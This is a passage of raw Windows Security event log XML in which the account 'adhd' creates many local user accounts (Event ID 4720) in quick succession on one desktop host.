Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lauren</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lauren - adhd - - - 4720 - 5221 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.8064565Z'/><EventRecordID>5221</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Douglas</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1196</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Douglas</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Douglas - adhd - - - 4720 - 5215 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.7163808Z'/><EventRecordID>5215</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Roy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1195</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Roy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Roy - adhd - - - 4720 - 5209 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.6291945Z'/><EventRecordID>5209</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sarah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1194</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sarah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sarah - adhd - - - 4720 - 5203 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.5471787Z'/><EventRecordID>5203</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Julia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1193</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Julia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Julia - adhd - - - 4720 - 5197 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.4664903Z'/><EventRecordID>5197</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Peter</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1192</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Peter</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Peter - adhd - - - 4720 - 5191 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.3635369Z'/><EventRecordID>5191</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Pamela</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1191</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Pamela</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Pamela - adhd - - - 4720 - 5185 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.2825294Z'/><EventRecordID>5185</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Scott</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1190</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Scott</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Scott - adhd - - - 4720 - 5179 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.1668912Z'/><EventRecordID>5179</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Theresa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1189</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Theresa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Theresa - adhd - - - 4720 - 5173 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.0923703Z'/><EventRecordID>5173</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jeffrey</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1188</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jeffrey</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jeffrey - adhd - - - 4720 - 5167 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:09.0083077Z'/><EventRecordID>5167</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Ethan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1187</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ethan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ethan - adhd - - - 4720 - 5161 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.9286645Z'/><EventRecordID>5161</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Katherine</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1186</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Katherine</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Katherine - adhd - - - 4720 - 5155 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.8482138Z'/><EventRecordID>5155</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Catherine</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1185</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Catherine</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Catherine - adhd - - - 4720 - 5149 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.7637149Z'/><EventRecordID>5149</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Mary</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1184</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Mary</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Mary - adhd - - - 4720 - 5143 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.6894739Z'/><EventRecordID>5143</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Martha</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1183</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Martha</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Martha - adhd - - - 4720 - 5137 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:08.6044176Z'/><EventRecordID>5137</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Betty</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1182</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Betty</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data 